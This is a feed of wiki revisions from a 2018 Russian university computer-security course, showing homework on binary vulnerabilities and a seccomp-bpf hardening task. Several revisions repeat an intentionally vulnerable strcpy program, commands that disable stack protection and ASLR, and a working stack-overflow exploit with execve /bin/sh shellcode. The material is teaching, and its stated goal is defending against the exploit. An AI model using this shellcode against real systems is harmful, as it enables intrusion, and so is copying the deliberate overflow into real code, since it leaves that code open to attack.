   &#039;\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80&#039;&lt;br /&gt;
   )&lt;br /&gt;
   padding = &#039;A&#039; * (112 - 64 - 32)&lt;br /&gt;
   eip = &#039;\xa0\xda\xff\xff&#039;&lt;br /&gt;
   print nopsled + shellcode + padding + eip&lt;br /&gt;
&lt;br /&gt;
==== Задача 1 ====&lt;br /&gt;
Сначала заставьте переполнение работать.&lt;br /&gt;
stack нужно передать шеллкод в качестве параметра командной строки.&lt;br /&gt;
&lt;br /&gt;
Запускать лучше используя абсолютный путь к бинарнику и через env - (env - /home/user/stack `gensploit.py`), и в том числе в gdb (env - gdb --args /home/user/...), так вы добьётесь примерно одинакового stack layout под gdb и без него. Под gdb ещё перед запуском программы надо unset-нуть переменные окружения LINES, COLUMNS, и возможно что-то ещё, что выставляет именно ваш gdb. Подберите под gdb нужное значение для адреса &amp;quot;eip =&amp;quot; в тексте генератора эксплойта - на вашей машине он скорее всего будет не такой, как в примере выше.&lt;br /&gt;
&lt;br /&gt;
Результат успешной эксплуатации - запуск /bin/sh через execve() (в данном случае через int80).&lt;br /&gt;
&lt;br /&gt;
После этого основное задание: модифицировать stack.c таким образом, чтобы был запрещен вызов execve() и разрешены все нужные для работы printf() и нормального завершения через exit(). Делаем это с помощью SECCOMP BPF фильтра. Внимательнее с arch (проверяйте arch в политике), т.к. в примере всё собираем с -m32 (приведенный выше шеллкод - 32битный).&lt;br /&gt;
&lt;br /&gt;
Результат присылать в виде модифицированного исходника (на почту gamajun at seclab/cs/msu/su с темой HSE:SECCOMP), к нему приложить текстовый файл с логами успешной эксплуатации без seccomp, успешной работы с seccomp но без эксплойта, и неуспешной работы эксплойта.&lt;br /&gt;
&lt;br /&gt;
Задание весит &#039;&#039;&#039;0.5&#039;&#039;&#039; балла.&lt;br /&gt;
&lt;br /&gt;
Дополнительно сделать проверку в фильтре, чтобы был разрешен execve() для /bin/ls, но запрещен для всего остального - ещё &#039;&#039;&#039;0.25&#039;&#039;&#039; балла.&lt;br /&gt;
&lt;br /&gt;
==== Задача 2 ====&lt;br /&gt;
Нужно взять стандартный docker-образ Ubuntu с официального репозитория docker.com и написать для него модифицированную политику SECCOMP, чтобы в этом репозитории запустился Chrome (headless mode). Результат присылать в виде: модифицированной seccomp политики докера с логами неуспешного запуска хрома на дефолтной политике и успешного на модифицированной.&lt;br /&gt;
&lt;br /&gt;
Задание весит &#039;&#039;&#039;0.5&#039;&#039;&#039; балла.&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_3&amp;diff=30722</id>
		<title>Безопасность компьютерных систем 2018/Задание 3</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_3&amp;diff=30722"/>
		<updated>2018-11-13T11:52:50Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Задание по теме &amp;quot;Бинарные уязвимости&amp;quot; ==&lt;br /&gt;
&lt;br /&gt;
Задание будет состоять из трёх частей:&lt;br /&gt;
&lt;br /&gt;
==== Format string ====&lt;br /&gt;
&lt;br /&gt;
Для выполнения этой части задания Вам необходимо добиться печати строки бинарником &amp;quot;Congratulation! You have successfully solved level 1!&amp;quot; в stdout с помощью эксплуатации уязвимости типа format string. Решением является код эксплойта.&lt;br /&gt;
&lt;br /&gt;
Материалы по теме: [https://blog.skullsecurity.org/2015/defcon-quals-babyecho-format-string-vulns-in-gory-detail]&lt;br /&gt;
&lt;br /&gt;
==== Stack buffer overflow ====&lt;br /&gt;
&lt;br /&gt;
Для выполнения этой части задания Вам необходимо прочитать содержимое файла &amp;quot;flag_1&amp;quot;. Решением является содержимое этого файла и код эксплойта.&lt;br /&gt;
&lt;br /&gt;
Материалы по теме: [https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/]&lt;br /&gt;
&lt;br /&gt;
==== Bonus ====&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
=== Файлы заданий ===&lt;br /&gt;
&lt;br /&gt;
Файлы задания можно взять тут: [https://yadi.sk/d/_ImkZtTIi-7DLA]. Само задание развёрнуто на pwn_task.hse.seclab.cs.msu.su:777.&lt;br /&gt;
&lt;br /&gt;
=== Баллы ===&lt;br /&gt;
&lt;br /&gt;
Флаги могут иметь разную стоимость. Суммарно все флаги обязательной части будут давать два балла, бонусной - один балл.&lt;br /&gt;
&lt;br /&gt;
=== Дедлайн ===&lt;br /&gt;
&lt;br /&gt;
29.11.2018 включительно.&lt;br /&gt;
&lt;br /&gt;
=== Сдача решений ===&lt;br /&gt;
&lt;br /&gt;
Решения заданий нужно присылать на почту michail.vms@yandex.ru с темой HSE_TASK, полным ФИО и номером группы.&lt;br /&gt;
&lt;br /&gt;
=== Поломка заданий ===&lt;br /&gt;
&lt;br /&gt;
Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите мне на почту michail.vms@yandex.ru.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Бонусное задание по SECCOMP ==&lt;br /&gt;
&lt;br /&gt;
В качестве дополнительного бонусного задания требуется модифицировать уязвимую программу (добавить фильтр seccomp-bpf), чтобы эксплойт перестал работать.&lt;br /&gt;
&lt;br /&gt;
Для начала вам нужно взять следующую простую программу и эксплойт к ней, и добиться успешного исполнения (под gdb и без него).&lt;br /&gt;
==== Программа ====&lt;br /&gt;
   #include &amp;lt;string.h&amp;gt;&lt;br /&gt;
   #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
   int badcpy(char *str) {&lt;br /&gt;
        register int i asm(&amp;quot;esp&amp;quot;);&lt;br /&gt;
        printf(&amp;quot;$esp = %#010x\n&amp;quot;, i);&lt;br /&gt;
        char buffer[100];&lt;br /&gt;
        strcpy(buffer, str);&lt;br /&gt;
   }&lt;br /&gt;
   void main(int argc, char *argv[]) {&lt;br /&gt;
        badcpy(argv[1]);&lt;br /&gt;
        printf(&amp;quot;Done!\n&amp;quot;);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
Собираем без stack-protector и включаем execstack:&lt;br /&gt;
&lt;br /&gt;
   gcc -g -fno-stack-protector -z execstack -m32 -o stack stack.c&lt;br /&gt;
&lt;br /&gt;
Отключаем ASLR:&lt;br /&gt;
&lt;br /&gt;
   echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&lt;br /&gt;
==== Эксплойт (gensploit.py) ====&lt;br /&gt;
&lt;br /&gt;
   #!/usr/bin/python&lt;br /&gt;
   nopsled = &#039;\x90&#039; * 64&lt;br /&gt;
   shellcode = (&lt;br /&gt;
   &#039;\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2&#039; +&lt;br /&gt;
   &#039;\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89&#039; +&lt;br /&gt;
   &#039;\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80&#039;&lt;br /&gt;
   )&lt;br /&gt;
   padding = &#039;A&#039; * (112 - 64 - 32)&lt;br /&gt;
   eip = &#039;\xa0\xda\xff\xff&#039;&lt;br /&gt;
   print nopsled + shellcode + padding + eip&lt;br /&gt;
&lt;br /&gt;
==== Задача 1 ====&lt;br /&gt;
Сначала заставьте переполнение работать.&lt;br /&gt;
stack нужно передать шеллкод в качестве параметра командной строки.&lt;br /&gt;
&lt;br /&gt;
Запускать лучше используя абсолютный путь к бинарнику и через env - (env - /home/user/stack `gensploit.py`), и в том числе в gdb (env - gdb --args /home/user/...), так вы добьётесь примерно одинакового stack layout под gdb и без него. Под gdb ещё перед запуском программы надо unset-нуть переменные окружения LINES, COLUMNS, и возможно что-то ещё, что выставляет именно ваш gdb. Подберите под gdb нужное значение для адреса &amp;quot;eip =&amp;quot; в тексте генератора эксплойта - на вашей машине он скорее всего будет не такой, как в примере выше.&lt;br /&gt;
&lt;br /&gt;
Результат успешной эксплуатации - запуск /bin/sh через execve() (в данном случае через int80).&lt;br /&gt;
&lt;br /&gt;
После этого основное задание: модифицировать stack.c таким образом, чтобы был запрещен вызов execve() и разрешены все нужные для работы printf() и нормального завершения через exit(). Делаем это с помощью SECCOMP BPF фильтра. Внимательнее с arch (проверяйте arch в политике), т.к. в примере всё собираем с -m32 (приведенный выше шеллкод - 32битный).&lt;br /&gt;
&lt;br /&gt;
Результат присылать в виде модифицированного исходника (на почту gamajun at seclab/cs/msu/su с темой HSE:SECCOMP), к нему приложить текстовый файл с логами успешной эксплуатации без seccomp, успешной работы с seccomp но без эксплойта, и неуспешной работы эксплойта.&lt;br /&gt;
&lt;br /&gt;
Задание весит &#039;&#039;&#039;0.5&#039;&#039;&#039; балла.&lt;br /&gt;
&lt;br /&gt;
Дополнительно сделать проверку в фильтре, чтобы был разрешен execve() для /bin/ls, но запрещен для всего остального - ещё &#039;&#039;&#039;0.25&#039;&#039;&#039; балла.&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_3&amp;diff=30721</id>
		<title>Безопасность компьютерных систем 2018/Задание 3</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_3&amp;diff=30721"/>
		<updated>2018-11-13T11:46:38Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Задание по теме &amp;quot;Бинарные уязвимости&amp;quot; ==&lt;br /&gt;
&lt;br /&gt;
Задание будет состоять из трёх частей:&lt;br /&gt;
&lt;br /&gt;
==== Format string ====&lt;br /&gt;
&lt;br /&gt;
Для выполнения этой части задания Вам необходимо добиться печати строки бинарником &amp;quot;Congratulation! You have successfully solved level 1!&amp;quot; в stdout с помощью эксплуатации уязвимости типа format string. Решением является код эксплойта.&lt;br /&gt;
&lt;br /&gt;
Материалы по теме: [https://blog.skullsecurity.org/2015/defcon-quals-babyecho-format-string-vulns-in-gory-detail]&lt;br /&gt;
&lt;br /&gt;
==== Stack buffer overflow ====&lt;br /&gt;
&lt;br /&gt;
Для выполнения этой части задания Вам необходимо прочитать содержимое файла &amp;quot;flag_1&amp;quot;. Решением является содержимое этого файла и код эксплойта.&lt;br /&gt;
&lt;br /&gt;
Материалы по теме: [https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/]&lt;br /&gt;
&lt;br /&gt;
==== Bonus ====&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
=== Файлы заданий ===&lt;br /&gt;
&lt;br /&gt;
Файлы задания можно взять тут: [https://yadi.sk/d/_ImkZtTIi-7DLA]. Само задание развёрнуто на pwn_task.hse.seclab.cs.msu.su:777.&lt;br /&gt;
&lt;br /&gt;
=== Баллы ===&lt;br /&gt;
&lt;br /&gt;
Флаги могут иметь разную стоимость. Суммарно все флаги обязательной части будут давать два балла, бонусной - один балл.&lt;br /&gt;
&lt;br /&gt;
=== Дедлайн ===&lt;br /&gt;
&lt;br /&gt;
29.11.2018 включительно.&lt;br /&gt;
&lt;br /&gt;
=== Сдача решений ===&lt;br /&gt;
&lt;br /&gt;
Решения заданий нужно присылать на почту michail.vms@yandex.ru с темой HSE_TASK, полным ФИО и номером группы.&lt;br /&gt;
&lt;br /&gt;
=== Поломка заданий ===&lt;br /&gt;
&lt;br /&gt;
Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите мне на почту michail.vms@yandex.ru.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Бонусное задание по SECCOMP ==&lt;br /&gt;
&lt;br /&gt;
В качестве дополнительного бонусного задания требуется модифицировать уязвимую программу (добавить фильтр seccomp-bpf), чтобы эксплойт перестал работать.&lt;br /&gt;
&lt;br /&gt;
Для начала вам нужно взять следующую простую программу и эксплойт к ней, и добиться успешного исполнения (под gdb и без него).&lt;br /&gt;
==== Программа ====&lt;br /&gt;
   #include &amp;lt;string.h&amp;gt;&lt;br /&gt;
   #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
   int badcpy(char *str) {&lt;br /&gt;
        register int i asm(&amp;quot;esp&amp;quot;);&lt;br /&gt;
        printf(&amp;quot;$esp = %#010x\n&amp;quot;, i);&lt;br /&gt;
        char buffer[100];&lt;br /&gt;
        strcpy(buffer, str);&lt;br /&gt;
   }&lt;br /&gt;
   void main(int argc, char *argv[]) {&lt;br /&gt;
        badcpy(argv[1]);&lt;br /&gt;
        printf(&amp;quot;Done!\n&amp;quot;);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
Собираем без stack-protector и включаем execstack:&lt;br /&gt;
&lt;br /&gt;
   gcc -g -fno-stack-protector -z execstack -m32 -o stack stack.c&lt;br /&gt;
&lt;br /&gt;
Отключаем ASLR:&lt;br /&gt;
&lt;br /&gt;
   echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&lt;br /&gt;
==== Эксплойт (gensploit.py) ====&lt;br /&gt;
&lt;br /&gt;
   #!/usr/bin/python&lt;br /&gt;
   nopsled = &#039;\x90&#039; * 64&lt;br /&gt;
   shellcode = (&lt;br /&gt;
   &#039;\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2&#039; +&lt;br /&gt;
   &#039;\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89&#039; +&lt;br /&gt;
   &#039;\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80&#039;&lt;br /&gt;
   )&lt;br /&gt;
   padding = &#039;A&#039; * (112 - 64 - 32)&lt;br /&gt;
   eip = &#039;\xa0\xda\xff\xff&#039;&lt;br /&gt;
   print nopsled + shellcode + padding + eip&lt;br /&gt;
&lt;br /&gt;
==== Задача ====&lt;br /&gt;
Сначала заставьте переполнение работать.&lt;br /&gt;
stack нужно передать шеллкод в качестве параметра командной строки.&lt;br /&gt;
&lt;br /&gt;
Запускать лучше используя абсолютный путь к бинарнику и через env - (env - /home/user/stack `gensploit.py`), и в том числе в gdb (env - gdb --args /home/user/...), так вы добьётесь примерно одинакового stack layout под gdb и без него. Под gdb ещё перед запуском программы надо unset-нуть переменные окружения LINES, COLUMNS, и возможно что-то ещё, что выставляет именно ваш gdb. Подберите под gdb нужное значение для адреса &amp;quot;eip =&amp;quot; в тексте генератора эксплойта - на вашей машине он скорее всего будет не такой, как в примере выше.&lt;br /&gt;
&lt;br /&gt;
Результат успешной эксплуатации - запуск /bin/sh через execve() (в данном случае через int80).&lt;br /&gt;
&lt;br /&gt;
После этого основное задание: модифицировать stack.c таким образом, чтобы был запрещен вызов execve() и разрешены все нужные для работы printf() и нормального завершения через exit(). Делаем это с помощью SECCOMP BPF фильтра. Внимательнее с arch (проверяйте arch в политике), т.к. в примере всё собираем с -m32 (приведенный выше шеллкод - 32битный).&lt;br /&gt;
&lt;br /&gt;
Результат присылать в виде модифицированного исходника (на почту gamajun at seclab/cs/msu/su с темой HSE:SECCOMP), к нему приложить текстовый файл с логами успешной эксплуатации без seccomp, успешной работы с seccomp но без эксплойта, и неуспешной работы эксплойта.&lt;br /&gt;
&lt;br /&gt;
Задание весит &#039;&#039;&#039;1&#039;&#039;&#039; балл.&lt;br /&gt;
&lt;br /&gt;
Дополнительно сделать проверку в фильтре, чтобы был разрешен execve() для /bin/ls, но запрещен для всего остального - ещё &#039;&#039;&#039;0.25&#039;&#039;&#039; балла.&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018&amp;diff=30681</id>
		<title>Безопасность компьютерных систем 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018&amp;diff=30681"/>
		<updated>2018-11-12T08:06:47Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: /* План курса */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2018 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (11.09) [https://drive.google.com/file/d/1EDgV5yNlBz0JqWbccX9-VX86Jl5gxXJ2 Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (18.09) [https://drive.google.com/open?id=1fDHsf5Re3j6DeuR1_Za1R0ZaiHI2dzpy Безопасность приложений. Мобильные приложения и их уязвимости.]&lt;br /&gt;
# (25.09) [https://drive.google.com/open?id=1EflFiY0-nOgGaBkTcrtA8pthr53vkq5v Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]&lt;br /&gt;
# (02.10) [https://drive.google.com/open?id=1PqXpu9XMw4mH_Mg1V6NQ2brW24XNKCFq Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]&lt;br /&gt;
# (09.10) [https://drive.google.com/open?id=1OTsNFflqktWq_sGUxF0oeBvE0HuSFSmL Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.]&lt;br /&gt;
# (16.10) [https://drive.google.com/open?id=1slDOuuFViB8mmvE-rcCP0BQQVP7QM0fi Безопасность приложений. Аутентификация и авторизация.]&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (30.10) [https://drive.google.com/file/d/1xCUxJhb5DIVKuMMMOtfrZ_GyBKZjkVhj Безопасность приложений. Уязвимости, связанные с переполнением буфера.]&lt;br /&gt;
# (06.11) [https://drive.google.com/file/d/198A3zf_COhACiMaA_1JC7jPrrY7F8pr8 Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.] &lt;br /&gt;
# (13.11) [Механизмы безопасности приложений в операционных системах.] &lt;br /&gt;
# (20.11) [Криптография. Введение и история]&lt;br /&gt;
# (27.11) [Криптография. Симметричные шифры и атаки на них.]&lt;br /&gt;
# (04.12) [Криптография, Асимметричные шифры и атаки на них.]&lt;br /&gt;
# (11.12) [Криптография. Приложения - PKI, WoT, Блокчейн.]&lt;br /&gt;
# (18.12) [Криптография. Пост-квантовая криптография. Заключение.]&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (18.09) [[Безопасность компьютерных систем 2018/Уязвимости мобильных приложений]]&lt;br /&gt;
# (25.09) [[Безопасность_компьютерных_систем_2018/XSS|Веб-уязвимости. Обзор, инструменты. XSS.]]&lt;br /&gt;
# (02.10) [[Безопасность_компьютерных_систем_2018/SQLi|Веб-уязвимости. SQLi.]]&lt;br /&gt;
# (09.10) [http://xxe.hse.seclab.cs.msu.su Веб-уязвимости. XXE, прочее интересное.]&lt;br /&gt;
# (16.10) [[Безопасность_компьютерных_систем_2018/SDLC|Безопасная разработка.]]&lt;br /&gt;
# (30.10) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (06.11) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (13.11) [[Безопасность_компьютерных_систем_2018/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (20.11) &lt;br /&gt;
# (27.11) [[Безопасность_компьютерных_систем_2018/XOROR|Атаки на блочные шифры.]]&lt;br /&gt;
# (04.12) [[Безопасность_компьютерных_систем_2018/RSA|Атаки на RSA.]]&lt;br /&gt;
# (11.12) [[Безопасность_компьютерных_систем_2018/ICO|ICO, смартконтракты и Solidity.]]&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018&amp;diff=30421</id>
		<title>Безопасность компьютерных систем 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018&amp;diff=30421"/>
		<updated>2018-10-30T13:23:40Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2018 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (11.09) [https://drive.google.com/file/d/1EDgV5yNlBz0JqWbccX9-VX86Jl5gxXJ2 Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (18.09) [https://drive.google.com/open?id=1fDHsf5Re3j6DeuR1_Za1R0ZaiHI2dzpy Безопасность приложений. Мобильные приложения и их уязвимости.]&lt;br /&gt;
# (25.09) [https://drive.google.com/open?id=1EflFiY0-nOgGaBkTcrtA8pthr53vkq5v Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]&lt;br /&gt;
# (02.10) [https://drive.google.com/open?id=1PqXpu9XMw4mH_Mg1V6NQ2brW24XNKCFq Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]&lt;br /&gt;
# (09.10) [https://drive.google.com/open?id=1OTsNFflqktWq_sGUxF0oeBvE0HuSFSmL Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.]&lt;br /&gt;
# (16.10) [https://drive.google.com/open?id=1slDOuuFViB8mmvE-rcCP0BQQVP7QM0fi Безопасность приложений. Аутентификация и авторизация.]&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (30.10) [https://drive.google.com/file/d/1xCUxJhb5DIVKuMMMOtfrZ_GyBKZjkVhj Безопасность приложений. Уязвимости, связанные с переполнением буфера.]&lt;br /&gt;
# (06.11) [Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.] &lt;br /&gt;
# (13.11) [Механизмы безопасности приложений в операционных системах.] &lt;br /&gt;
# (20.11) [Криптография. Введение и история]&lt;br /&gt;
# (27.11) [Криптография. Симметричные шифры и атаки на них.]&lt;br /&gt;
# (04.12) [Криптография, Асимметричные шифры и атаки на них.]&lt;br /&gt;
# (11.12) [Криптография. Приложения - PKI, WoT, Блокчейн.]&lt;br /&gt;
# (18.12) [Криптография. Пост-квантовая криптография. Заключение.]&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (18.09) [[Безопасность компьютерных систем 2018/Уязвимости мобильных приложений]]&lt;br /&gt;
# (25.09) [[Безопасность_компьютерных_систем_2018/XSS|Веб-уязвимости. Обзор, инструменты. XSS.]]&lt;br /&gt;
# (02.10) [[Безопасность_компьютерных_систем_2018/SQLi|Веб-уязвимости. SQLi.]]&lt;br /&gt;
# (09.10) [http://xxe.hse.seclab.cs.msu.su Веб-уязвимости. XXE, прочее интересное.]&lt;br /&gt;
# (16.10) [[Безопасность_компьютерных_систем_2018/SDLC|Безопасная разработка.]]&lt;br /&gt;
# (30.10) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (06.11) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
